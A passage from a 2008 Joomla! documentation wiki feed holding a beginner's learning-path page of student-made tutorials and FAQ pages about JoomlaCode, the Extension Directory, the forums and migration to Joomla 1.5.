=== Learn the language ===&lt;br /&gt;
&lt;br /&gt;
Familiarize yourself with the [[Joomla%21_Extensions_Defined|Joomla! lingo]]. [http://www.scribd.com/doc/2299530/Joomla-v-15-Extension-Types Scribd] The better you learn the language, the easier it will be to talk to the natives. Practice speaking these words in the car ride on the way to work, “Let’s see. A category belongs to a section.” Consider asking a friend to make you word games and crossword puzzles using Joomla! terms to drive home key concepts. :P&lt;br /&gt;
&lt;br /&gt;
=== Guides for Joomla! Editors and Publishers ===&lt;br /&gt;
Those who edit and publish articles on your new Joomla! site will also need help to understand what they must do. The [http://help.joomla.org/ghop/feb2008/task056/createarticletres.odt Author tutorial] by brianfast [http://www.scribd.com/doc/2299545/Joomla-v-15-How-to-create-an-Article Scribd] and an excellent guide for the [http://help.joomla.org/ghop/feb2008/task063/joomlawebmaster.odt Joomla! Publisher] [http://www.scribd.com/doc/2300190/Joomla-v-1-5-Webmaster-and-Publisher-Tutorial Scribd] by [[GHOP students/Max Shinn|Max Shinn (trombonechamp)]] could be very helpful.&lt;br /&gt;
&lt;br /&gt;
=== General Joomla! v 1.5 Questions? ===&lt;br /&gt;
&lt;br /&gt;
Ask questions in the [http://forum.joomla.org/viewforum.php?f=428 General Joomla! v 1.5 forum board].&lt;br /&gt;
&lt;br /&gt;
= Master System Administration =&lt;br /&gt;
&lt;br /&gt;
System Administration is a very important part to running a successful Web site. It is a good idea to practice installing Joomla! on a localhost environment. Then, learn to move your Joomla! website to a Web host and how to backup and restore your Joomla! database. Knowing how to do these things before you even begin creating your Web site ensures you will be ready if something unfortunate happens. With that knowledge in place, you can move forward with confidence.&lt;br /&gt;
&lt;br /&gt;
== Installation == &lt;br /&gt;
&lt;br /&gt;
Installing Joomla! can be easy to do -- especially on a localhost environment. Sometimes, though, issues at your Web host can make installation very challenging. Make certain you take advantage of the support your host provides. In the end, they are best able to help. &lt;br /&gt;
&lt;br /&gt;
=== Install Joomla! on a localhost ===&lt;br /&gt;
&lt;br /&gt;
The easiest way to get started with Joomla! is to install it on your desktop computer. Watch this video entitled [http://www.veoh.com/videos/v1802750A7Mnpe7z How to Install XAMPP and Joomla! v 1.5], by Andrew Altamirano (slogen123), where he shows you how to download and install XAMPP as a local server and then install Joomla!. A localhost is a great way to learn how to use Joomla!, to try extensions out in a test environment before updating your live site, and for first testing out upgrades. Learn to use a localhost right away. It will be well worth your time.&lt;br /&gt;
&lt;br /&gt;
=== Use the Joomla! v 1.5 Installation Guide ===&lt;br /&gt;
&lt;br /&gt;
All Web host environments are different. Check out the [http://downloads.joomlacode.org/docmanfileversion/1/7/4/17471/1.5_Installation_Manual_version_0.5.pdf Joomla! v 1.5 Installation Manual] for a detailed set of installation instructions.&lt;br /&gt;
&lt;br /&gt;
== Learn to Backup and Restore ==&lt;br /&gt;
&lt;br /&gt;
Learn to backup your Joomla! database. Learn to restore your Joomla! database. Practice. A lot! Frequent backups are the best way to sleep at night. Check out this video entitled [http://video.google.com/videoplay?docid=2742157386318372444 How to backup and restore a Joomla! database using phpMyAdmin] by kristofdb. It&#039;s not hard - learn to do it after you install Joomla! but before you configure the environment.&lt;br /&gt;
&lt;br /&gt;
== How to Recover Your System Administration Password ==&lt;br /&gt;
&lt;br /&gt;
We have all done it, some of us dozens of times! Watch this video by [[GHOP students/James William Ramsay|James Ramsey]] entitled [http://www.veoh.com/videos/v1818492yRNhWTdg How to Recover your Administrator Password using phpMyAdmin]. &lt;br /&gt;
&lt;br /&gt;
=== Installation Questions? ===&lt;br /&gt;
&lt;br /&gt;
Ask questions in the [http://forum.joomla.org/viewforum.php?f=429 Installing Joomla! v 1.5 forum board].&lt;br /&gt;
&lt;br /&gt;
= Maximize Use of the Core, &#039;&#039;Then&#039;&#039; Install Extensions =&lt;br /&gt;
&lt;br /&gt;
Many times, new Joomla! users find the Joomla! Extension Directory and install everything that looks cool! That&#039;s not always a good idea. It&#039;s best to maximize the use of the core code before you add extensions to your site. With each extension that you install, you complicate your site administration requirements and slow your site down. Upgrades are also more complicated. Extensions are great but make certain you really need them, first.&lt;br /&gt;
&lt;br /&gt;
== Exploring the possibilities with Joomla! v 1.5 Core ==&lt;br /&gt;
&lt;br /&gt;
* Learn what is possible given the core [http://help.joomla.org/ghop/feb2008/task028/Joomla%20Menu%20Types.zip Joomla! Menu Types] [http://www.scribd.com/doc/2299861/Joomla-v-15-Menu-Types Scribd] by xalnx;&lt;br /&gt;
* Understand all the options available when you create a [http://help.joomla.org/ghop/feb2008/task029/Issue_29_Joomla_Category_Blog_Layout_document_v2.zip Joomla! Category Blog Layout] [http://www.scribd.com/doc/2299872/Joomla-v-15-Category-Blog-Layout Scribd] by hashani;&lt;br /&gt;
* Watch this video on [http://help.joomla.org/ghop/feb2008/task055/Joomla!_GHOP_Issue_055.mov How to embed media within a Joomla! article] by mdranta;&lt;br /&gt;
* Explore the possibilities with [http://help.joomla.org/ghop/feb2008/task066/MediaManager.odt Using the media manager] [http://www.scribd.com/doc/2299878/Joomla-v-15-Using-the-Media-Manager Scribd] by SharifOerton;&lt;br /&gt;
* Learn [http://help.joomla.org/ghop/feb2008/task026/Rev10-Final.zip How to Use Joomla!&#039;s Register to Read More] [http://www.scribd.com/doc/2299883/Joomla-v-15-Register-to-Read-More Scribd] by drmmr763;&lt;br /&gt;
* Make certain to learn how to [http://help.joomla.org/ghop/feb2008/task104/How_to_create_a_custom_HTML_module.zip Create a custom HTML module] [http://www.scribd.com/doc/2299886/Joomla-v-15-How-to-create-a-custom-HTML-module- Scribd] by blitzprog;&lt;br /&gt;
* Learn how to [http://help.joomla.org/ghop/feb2008/task105/using_media_manager.zip Use the Media Manager to Offer File Downloads] [http://www.scribd.com/doc/2299888/Joomla-v-15-Using-Media-Manager-for-File-Downloads Scribd] by fervidfrogger;&lt;br /&gt;
* Learn how to create a simple [http://help.joomla.org/ghop/feb2008/task106/Joomla%20Image%20Gallery.odt Image Gallery using the Media Manager] [http://www.scribd.com/doc/2299943/Joomla-v-15-Image-Gallery-using-the-Media-Manager Scribd] by SharifOerton;&lt;br /&gt;
* Learn how to use core [http://help.joomla.org/ghop/feb2008/task107/BDRev5.zip Contact functions to create a services or resources directory] [http://www.scribd.com/doc/2299950/Joomla-v-15-Contact-functions-to-create-a-services-or-resources-directory Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]];&lt;br /&gt;
* Take time to explore how to use the [http://help.joomla.org/ghop/feb2008/task108/Newsflashtutorialfinal.odt News flash module to display random or rotating selection of texts] [http://www.scribd.com/doc/2299953/Joomla-v-15-News-flash-module-to-display-random-or-rotating-selection-of-texts Scribd] by tj.ferrell;&lt;br /&gt;
* Take advantage of the [http://help.joomla.org/ghop/feb2008/task109/task%20109.pdf Banners component and module to feature different parts of a website] [http://www.scribd.com/doc/2299956/Joomla-v-15-Banners-component-and-module-to-feature-different-parts-of-a-website Scribd] by [[GHOP students/Branko Pajic|Branko Pajic (balvanboy)]];&lt;br /&gt;
* Read through the [[Help screens]] to find out about all options available at the Back-end&lt;br /&gt;
&lt;br /&gt;
== Using Mootools ==&lt;br /&gt;
&lt;br /&gt;
There are many great things you can do with Mootools, included in Joomla! v 1.5. Check out these resources to learn how:&lt;br /&gt;
&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task083/Mootools%20Tips%20and%20Tricks.odt Mootools Tips and Tricks] [http://www.scribd.com/doc/2299965/Joomla-v-15-Mootools-Tips-and-Tricks Scribd] by [[GHOP students/Zach Kanzler|Zach Kanzler (theY4Kman)]];&lt;br /&gt;
* How to include [http://help.joomla.org/ghop/feb2008/task084/joomla.odt Squeezebox in your Joomla! Website] [http://www.scribd.com/doc/2299973/Joomla-v-15-Squeezebox-in-your-Joomla-Website Scribd] by ddcc;&lt;br /&gt;
* How to include [http://help.joomla.org/ghop/feb2008/task085/draft3HowtoincludeSlimboxinJoomla.odt Slimbox in your Joomla! Website] [http://www.scribd.com/doc/2299983/Joomla-v-15-Slimbox-in-your-Joomla-Website Scribd] by dsadik.&lt;br /&gt;
&lt;br /&gt;
== Venture into Joomla! v 1.5 Extensions ==&lt;br /&gt;
&lt;br /&gt;
Third party developers are solely responsible for their extensions and the quality of their code and timeliness at upgrades is not guaranteed by anyone other than that developer. There are many developers who produce very high quality code. It is best to stick with GPL or GPL-compatiable extensions although you might also find proprietary extensions on the Joomla! Extension Directory. If you purchase an extension and are unsatisfied with the result, Joomla! org cannot help you with those issues. &lt;br /&gt;
&lt;br /&gt;
Take time to review the wealth of extensions available on the [http://extensions.joomla.org Joomla! Extensions Directory].&lt;br /&gt;
&lt;br /&gt;
=== Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [[jforum:428 General Joomla! v 1.5 Questions]]&lt;br /&gt;
* [[jforum:466 Joomla! v 1.5 Template Questions]]&lt;br /&gt;
* [[jforum:470 Joomla! v 1.5 Extension Questions]]&lt;br /&gt;
* [[jforum:262 Joomla! Extension Directory Questions]]&lt;br /&gt;
&lt;br /&gt;
= Learn the Basics for Joomla! Templating =&lt;br /&gt;
&lt;br /&gt;
For many, there are only a few changes desired with the default Joomla! v 1.5 Template to make it work for their needs. These resources will help you learn how to make minor changes.&lt;br /&gt;
&lt;br /&gt;
== Minor Default Template Changes ==&lt;br /&gt;
* How to [http://help.joomla.org/ghop/feb2008/task093/replace%20the%20logo%20image.odt replace the logo image in the Milkyway template] [http://www.scribd.com/doc/2299991/Joomla-v-1-5-How-to-replace-the-logo-image-in-the-Milkyway-template Scribd] by deckers.olivier&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task033/033%20-%20Create%20a%20document%20explaining%20how%20to%20modify%20the%20default%20Template.zip How to modify the default Template] [http://www.scribd.com/doc/2300042/Joomla-v-15-How-to-modify-the-default-Template Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]].&lt;br /&gt;
&lt;br /&gt;
== Using CSS Class Suffixes ==&lt;br /&gt;
There are other simple things you can do with templates to achieve the look you need. These simple tutorials could be very helpful.&lt;br /&gt;
&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task057/Joomla%20Class%20Suffix%20Guides.pdf How to use CSS class suffixes in Joomla! 1.5] [http://www.scribd.com/doc/2300098/Joomla-v-15-How-to-use-CSS-class-suffixes Scribd] by takercena.&lt;br /&gt;
&lt;br /&gt;
== Getting Rid of Tables ==&lt;br /&gt;
* If you do not like tables in your Joomla! output, please see [http://help.joomla.org/ghop/feb2008/task059/Getting_Started_with_Template_Overrides_v2.tar.gz Getting Started with Template Overrides] [http://www.scribd.com/doc/2300107/Joomla-v-1-5-Getting-Started-with-Template-Overrides Scribd] by [[GHOP students/Wickrama Arachchi Vithanage Hashani Maduwanthi Weerarathna|Wickrama Arachchi Vithanage Hashani Maduwanthi Weerarathna (Hashani)]]&lt;br /&gt;
&lt;br /&gt;
== Adding Javascript to your Template ==&lt;br /&gt;
* You might be interested in [http://help.joomla.org/ghop/feb2008/task060/task60.odt How to add JavaScript to a Joomla template] [http://www.scribd.com/doc/2300110/Joomla-v-15-Adding-Javascript-to-your-Template Scribd] by  [[GHOP students/Anner J. Bonilla|Anner J. Bonilla (annerajb)]].&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting a Template Installation ==&lt;br /&gt;
If you are having trouble installing a template, see [http://help.joomla.org/ghop/feb2008/task061/Rev9.zip How to resolve problems with a template installation] [http://www.scribd.com/doc/2300161/Joomla-v-1-5-Template-Installation-Troubleshooting-Manual Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]].&lt;br /&gt;
&lt;br /&gt;
=== Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [http://forum.joomla.org/viewforum.php?f=466 Joomla! v 1.5 Template Questions]&lt;br /&gt;
&lt;br /&gt;
= Address Search Engine Optimization =&lt;br /&gt;
Search Engine Optimization is the practice of doing whatever is needed to help make your Web site rank higher in return results for a search engine. For some, this is very important aspect of attracting visitors to their site. Most experts agree, however, that the single best way to improve your chance of getting attention on the Internet is to provide good content on a regular basis. There are several things that you can do using core functionality to make your Joomla! Web site more SEO friendly. Here are some important areas to focus.&lt;br /&gt;
&lt;br /&gt;
== Configure and troubleshoot SEF URLs ==&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task110/GHOPC_J110_SEFrevised-1.odt Joomla! v 1.5 SEF URLs] [http://www.scribd.com/doc/2300167/Joomla-v-15-Configure-and-troubleshoot-SEF-URLs Scribd] by [[GHOP students/Benjamin Hättasch|Benjamin Hättasch]].&lt;br /&gt;
* If you want to use IIS and Joomla!&#039;s SEF URLs, [http://docs.joomla.org/IIS6_and_SEF_URLs_using_Joomla_1.5x do this first], then use the previous document.&lt;br /&gt;
&lt;br /&gt;
== Remove WWW from your domain name ==&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task111/remove_www_from_domain6.odt How to remove &amp;quot;WWW&amp;quot; from your Domain Name and Why it matters] [http://www.scribd.com/doc/2300173/Joomla-How-to-Remove-www-from-domain-and-why-it-matters Scribd] by theoclymenus&lt;br /&gt;
&lt;br /&gt;
== Create a Custom 404 Page ==&lt;br /&gt;
* [http://docs.joomla.org/Custom_error_pages Custom Error Pages, including 404&#039;s]&lt;br /&gt;
&lt;br /&gt;
== SEO Questions ==&lt;br /&gt;
Questions on these topics should be asked in the [http://forum.joomla.org/viewforum.php?f=431 Joomla! v 1.5 Administration Forum].&lt;br /&gt;
&lt;br /&gt;
=== SEO and SEF URL Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [http://forum.joomla.org/viewforum.php?f=428 General Joomla! v 1.5 Questions]&lt;br /&gt;
&lt;br /&gt;
= Converting an Existing Website to Joomla! =&lt;br /&gt;
&lt;br /&gt;
Check out the [[How to Convert an existing Web site to a Joomla! Web site]] guide for great step by step instructions. &lt;br /&gt;
&lt;br /&gt;
= Asking Questions in the Forums =&lt;br /&gt;
&lt;br /&gt;
At some point in this journey, you started feeling confident enough to reach out to others and began using the Forums. There are a few &amp;quot;common courtesies&amp;quot; you should be aware of:&lt;br /&gt;
&lt;br /&gt;
* First of all, did you actually read the assignments? If not, do! Only you can help yourself learn and reading this material will do the trick!&lt;br /&gt;
&lt;br /&gt;
* Please make certain you search, first, before posting a question. Nine times out of ten someone else had the same issue that you had. As it turns out, we all travel a similar path.&lt;br /&gt;
&lt;br /&gt;
* Also, check the [[FAQs]]. There is already a TON of stuff out there that you WILL find helpful. Being responsible to search and review existing material keeps the questions at a manageable level for the volunteers who help.&lt;br /&gt;
&lt;br /&gt;
* Be clear and specific in your request for help. Entries like “Help! It doesn’t work!” tend to get ignored. Try to explain everything that led up to your problem. Try to explain what your problem is. Be clear about what you want to happen. And, thank those who bother to help!&lt;br /&gt;
&lt;br /&gt;
* Use the [http://forum.joomla.org/viewtopic.php?f=428&amp;amp;t=272481 Forum Post Assistant] to help you provide more information and better explain your problem.&lt;br /&gt;
&lt;br /&gt;
* If your question/problem was solved, mark your thread as solved by editing the first post you made in that thread and changing the topic icon to the green check mark with a circle. You can also add [Solved] to your topic title. By doing this you allow other members who are doing searches to easily differentiate between solved and unsolved issues. This also saves the volunteers&#039; time of having to open up solved topics.&lt;br /&gt;
&lt;br /&gt;
= Thanks to our GHOP Contestants! =&lt;br /&gt;
&lt;br /&gt;
Most of this material was written by Joomla! Google Highly Open Participation Contestants. This work is of the highest quality and the students were inspiring to work with. Sincere thanks to all of our participants for sharing their gifts with the Joomla! community. You guys rock!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Landing Pages]]&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:JoomlaCode_FAQs&amp;diff=9566</id>
		<title>Archived:JoomlaCode FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:JoomlaCode_FAQs&amp;diff=9566"/>
		<updated>2008-07-27T22:14:10Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
===What is JoomlaCode?===&lt;br /&gt;
&lt;br /&gt;
Joomlacode.org is the repository for the Joomla! source code as well as many open source Joomla! extensions. It requires separate registration from the the other joomla.org sites.&lt;br /&gt;
&lt;br /&gt;
===Where can I find information to checkout Joomla! using SVN?===&lt;br /&gt;
&lt;br /&gt;
See this link; http://joomlacode.org/gf/project/joomla/scmsvn/?action=AccessInfo&lt;br /&gt;
&lt;br /&gt;
===I registered an account on JoomlaCode.org, but I never received an activation email. What do I do?===&lt;br /&gt;
&lt;br /&gt;
Please ensure that the activation email is not in your spam folder. If you still can not find it, then email a JoomlaCode.org team member at http://forum.joomla.org/index.php/topic,149788.0.html and ask him/her to email the activation link to you directly.&lt;br /&gt;
&lt;br /&gt;
===Why did my project get rejected?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;Project Rejected&amp;quot; email should contain specific information regarding the reason(s) why, and may suggest a remedy.&lt;br /&gt;
&lt;br /&gt;
Most common reasons to date:&lt;br /&gt;
*The description is non-English; multi-lingual is more than acceptable.&lt;br /&gt;
*The description does not provide enough information about the project purpose and outcome.&lt;br /&gt;
*The project does not conform to the requirements of the JoomlaCode.org project rules.&lt;br /&gt;
*Your project was not related to Joomla!&lt;br /&gt;
*Your project was a &amp;quot;commercial&amp;quot; product.&lt;br /&gt;
*Your project is not a &amp;quot;code&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
===If I have a problem or find a bug with JoomlaCode.org how can I report it?===&lt;br /&gt;
&lt;br /&gt;
JoomlaCode.org has setup a Support project please post your issues there, then they can be managed and tracked by the team.&lt;br /&gt;
http://joomlacode.org/gf/project/support/tracker/ &lt;br /&gt;
&lt;br /&gt;
There is a feedback forum for Joomlacode:&lt;br /&gt;
&lt;br /&gt;
http://forum.joomla.org/index.php/board,406.0.html.&lt;br /&gt;
&lt;br /&gt;
===When I created my account, I typed in the wrong UNIX Name. Can you change it for me?===&lt;br /&gt;
&lt;br /&gt;
Unfortunately, this is something that we can not do. The only option is to request that we delete your project, so that you can resubmit it for approval.&lt;br /&gt;
&lt;br /&gt;
===Why I get a &amp;quot;Permission Denied&amp;quot; message when trying to view a project?===&lt;br /&gt;
&lt;br /&gt;
The project was migrated and still needs to be activated by the admin. As soon as we get a request from the admin, we will assign the project to them. It is the admin&#039;s responsibility to make a project public.&lt;br /&gt;
&lt;br /&gt;
===My project got rejected and I was asked to re-register it. Now I cannot re-submit it, I get a message saying that the project already exists. What do I do?===&lt;br /&gt;
&lt;br /&gt;
Re-register your project using a different &amp;quot;Unix Project Name&amp;quot;. (This is a known issue that is being worked on as we speak, apologies for the inconvenience )&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9565</id>
		<title>Joomla! Extension Directory FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9565"/>
		<updated>2008-07-27T22:13:54Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
===How do I list my extension in the extensions site?===&lt;br /&gt;
Information on how to list extensions in the extensions site is available here:&lt;br /&gt;
http://extensions.joomla.org/content/view/15/63/&lt;br /&gt;
&lt;br /&gt;
===What extension is used to manage extensions.joomla.org?===&lt;br /&gt;
It is a customized version of Mosets Tree (a commercial component you can find in the Joomla! Extensions Directory ).&lt;br /&gt;
&lt;br /&gt;
===Why was my extension rejected from being listed?===&lt;br /&gt;
Some of the common reasons extensions are rejected are because of:&lt;br /&gt;
*logo violations&lt;br /&gt;
*extension cannot be downloaded or found on the site&lt;br /&gt;
*extension does not install&lt;br /&gt;
&lt;br /&gt;
===How can I help the extension submission process?===&lt;br /&gt;
There are several ways you can help the extension submission process go faster and smoother.&lt;br /&gt;
As you may know, the Joomla! Extension Directory is supported by volunteers and it takes time to go through all the extensions.&lt;br /&gt;
To make things easier:&lt;br /&gt;
*Make sure your download link leads directly to the download page. It makes downloading and testing the extension a whole lot easier.&lt;br /&gt;
*Make sure a front-end/public/guest user can actually download the extension.&lt;br /&gt;
*Test your extension to make sure the package can be installed.&lt;br /&gt;
*If you have use the Joomla! logo anywhere, make sure it follows the logo guidelines.&lt;br /&gt;
*If you need to make changes to your extension listing and it has not been published, do not submit another application. Removing duplicates takes up precious time. Instead, either email your changes to team@extensions.joomla.org with detailed information about your extension or wait until your extension is published.&lt;br /&gt;
&lt;br /&gt;
===Why was my review of XYZ extension removed and/or edited?===&lt;br /&gt;
*Spam and/or self-promotion.&lt;br /&gt;
*Feature requests. Send feature requests to the developer.&lt;br /&gt;
*Support requests. Send support requests to the developer.&lt;br /&gt;
*You state that you haven&#039;t used the extension.&lt;br /&gt;
*Putting some type of code. The review section doesn&#039;t like code languages.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9564</id>
		<title>Joomla! Forum FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9564"/>
		<updated>2008-07-27T22:13:41Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
===What forum is used at joomla.org?===&lt;br /&gt;
&lt;br /&gt;
We are currently using the forum software, phpBB3. phpBB is located here: http://www.phpbb.com/&lt;br /&gt;
&lt;br /&gt;
===How is the forum at joomla.org integrated with Joomla!?===&lt;br /&gt;
The forum is not bridged with Joomla! in any way. The forum uses a customized theme that matches the rest of the joomla.org sites.&lt;br /&gt;
&lt;br /&gt;
===What are the rules of the joomla.org forums?===&lt;br /&gt;
You can read the current forum rules here: http://forum.joomla.org/viewtopic.php?f=8&amp;amp;t=65&lt;br /&gt;
&lt;br /&gt;
===How do you empty your PM-box on the forum?===&lt;br /&gt;
&lt;br /&gt;
Problem&lt;br /&gt;
Your PM-box is full and nobody can send you anymore messages. How to solve this?&lt;br /&gt;
&lt;br /&gt;
Solution&lt;br /&gt;
go to your messages and &amp;quot;check&amp;quot; the box and click delete for those you want to delete.&lt;br /&gt;
&lt;br /&gt;
Note: READ them first before you delete them!&lt;br /&gt;
&lt;br /&gt;
===How do I search the forum to find what I need?===&lt;br /&gt;
&lt;br /&gt;
The forum search is somewhat tricky. Here are some tips for effective searching:&lt;br /&gt;
&lt;br /&gt;
#Searches are case sensitive, so try upper and lower case. For example, xml and XML will give different results.&lt;br /&gt;
#Searches are for whole words, so for example error and errors will give different results.The forums are spidered by external search engines so you may be more successful using one of these.&lt;br /&gt;
#Advanced search will let you search with more parameters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_1.5_Specific_FAQs&amp;diff=9562</id>
		<title>Joomla! 1.5 Specific FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_1.5_Specific_FAQs&amp;diff=9562"/>
		<updated>2008-07-27T22:12:55Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Do I have to upgrade to version 1.5?===&lt;br /&gt;
&lt;br /&gt;
For the time being the Joomla! 1.0.x release will continue to be supported and updated if security or other major issues arise. Eventually, support for the 1.0.x will cease, but this will not be in the near future.&lt;br /&gt;
&lt;br /&gt;
===How do I install Joomla! 1.5?===&lt;br /&gt;
&lt;br /&gt;
Instructions for installation can be found here. http://help.joomla.org/content/section/48/302/&lt;br /&gt;
&lt;br /&gt;
===How do I upgrade to Joomla! 1.5?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can migrate a Joomla! 1.0.x site or a Mambo 4.5.x to Joomla! 1.5.&lt;br /&gt;
&lt;br /&gt;
Joomla 1.5 does not provide an upgrade path from earlier versions. Converting an older site to a Joomla 1.5 site requires creation of a new empty site using Joomla 1.5 and then populating the new site with the content from the old site. This migration of content is not a one-to-one process and involves conversions and modifications to the content dump.&lt;br /&gt;
&lt;br /&gt;
There are two ways to perform the migration:&lt;br /&gt;
&lt;br /&gt;
*An automated method of migration has been provided which uses a migrator component to create the migration dump out of the old site (Mambo 4.5.x up to Joomla 1.0.x) and a smart import facility in the Joomla 1.5 Installation that performs required conversions and modifications during the installation process.&lt;br /&gt;
* Migration can be performed manually. This involves exporting the required tables, manually performing required conversions and modifications and then importing the content to the new site after it is installed.&lt;br /&gt;
&lt;br /&gt;
Automated migration&lt;br /&gt;
&lt;br /&gt;
This is a two phased process using two tools. The first tool is a migrator component named &#039;com_migrator&#039;. This component has been contributed by Harald Baer and is based on his &#039;eBackup&#039; component. The migrator needs to be installed on the old site and when activated it prepares the required export dump of the old site&#039;s data. The second tool is built into the Joomla 1.5 installation process. The exported content dump is loaded to the new site and all conversions and modification are performed &#039;on-the-fly&#039;.&lt;br /&gt;
&lt;br /&gt;
Step 1 - Using com_migrator to export data from old site:&lt;br /&gt;
* Install the com_migrator component on the old site. It can be found at joomlacode.org .&lt;br /&gt;
* Select the component in the component menu of the administrator.&lt;br /&gt;
* Click on the &#039;Dump it&#039; icon. Three exported gzipped export scripts will be created. The first is a complete backup of the old site. The second is the migration content of all core elements which will be imported to the new site. The third is a backup of all 3PD component tables.&lt;br /&gt;
* Click on the download icon of the particular exports files needed and store locally.&lt;br /&gt;
* Multiple export sets can be created.&lt;br /&gt;
* The exported data is not modified in anyway and the original encoding is preserved. This makes the com_migrator tool a recommended tool to use for manual migration as well.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Using the migration facility to import and convert data during Joomla 1.5 installation:&lt;br /&gt;
&lt;br /&gt;
Note: This function requires use of the iconv function in PHP to convert encodings. If iconv is not found a warning will be provided.&lt;br /&gt;
* In step 6 - Configuration select the &#039;Load Migration Script&#039; option in the &#039;Load Sample Data, Restore or Migrate Backed Up Content&#039; section of the page.&lt;br /&gt;
* Enter the table prefix used in the content dump. For example: &#039;#_&#039; or &#039;#__&#039; are acceptable values.&lt;br /&gt;
* Select the encoding of the dumped content in the dropdown list. This should be the encoding used on the pages of the old site. (As defined in the _ISO variable in the language file or as seen in the browser page info/encoding/source)&lt;br /&gt;
* Browse the local host and select the migration export and click on &#039;Upload and Execute&#039;&lt;br /&gt;
* A success message should appear or alternately a listing of db errors # Complete the other required fields in the Configuration step such as Site Name and Admin details and advance to the final step of installation. (Admin details will be ignored as the imported data will take priority. Please remember admin name and password from the old site)&lt;br /&gt;
&lt;br /&gt;
===What happened to the locale setting?===&lt;br /&gt;
&lt;br /&gt;
This is now defined in the language .xml file in the language metadata settings. If you are having locale problems (dates don&#039;t appear in your language) you might want to check/edit the entries in the locale tag. Note that multiple locale strings can be set and the host will usually accept the first one recognised.&lt;br /&gt;
&lt;br /&gt;
===Where did the installer go?===&lt;br /&gt;
&lt;br /&gt;
The improved installer can be found under the extensions option. With versions prior to 1.5 you needed to select a specific extensions type when you wanted to install it, with Joomla! 1.5 you just select the extension you want to upload, and click on install. The installer will do all the hard work for you.&lt;br /&gt;
&lt;br /&gt;
===Only one edit window! How do I create &amp;quot;Read more...&amp;quot;?===&lt;br /&gt;
&lt;br /&gt;
This is now implemented by inserting a tag (button is in the editor area) a dotted line appears in the edited text showing the split location for the &amp;quot;Read more...&amp;quot;. A new bot takes care of the rest.&lt;br /&gt;
&lt;br /&gt;
It is worth mentioning that this does not have a negative effect on migrated data from older sites. The new implementation is fully backward compatible.&lt;br /&gt;
&lt;br /&gt;
===Where did the Mambots go?===&lt;br /&gt;
&lt;br /&gt;
Mambots have been renamed as &amp;quot;Plugins&amp;quot; Mambots were introduced in Mambo and offered possibilities to add plugin logic to your site to mainly for the purpose of manipulating content. In Joomla!, Plugins will now have much broader capabilities than Mambots. Plugins are able to extend functionality at the framework layer as well.&lt;br /&gt;
&lt;br /&gt;
===Where is the static content?===&lt;br /&gt;
&lt;br /&gt;
In Joomla! versions prior to 1.5 there was a distinctive difference on static and normal content. Both content types are still around, but are not handled as separate items. If you want to create static content, just select &amp;quot;uncategorized&amp;quot; as section and category and the content is handled as static content.&lt;br /&gt;
&lt;br /&gt;
===Will my 1.0 extensions still work?===&lt;br /&gt;
&lt;br /&gt;
There is a legacy system in place that will allow extensions that are not 1.5 compatible to continue to operate. However, we strongly recommend that you update to the current version of all extensions prior to migration and that you check each extension&#039;s home page for specific recommendations about migration for that extension.&lt;br /&gt;
&lt;br /&gt;
To activate the legacy support, go to the plugin manager and enable the legacy plugin.&lt;br /&gt;
&lt;br /&gt;
===How do I create a custom module?===&lt;br /&gt;
&lt;br /&gt;
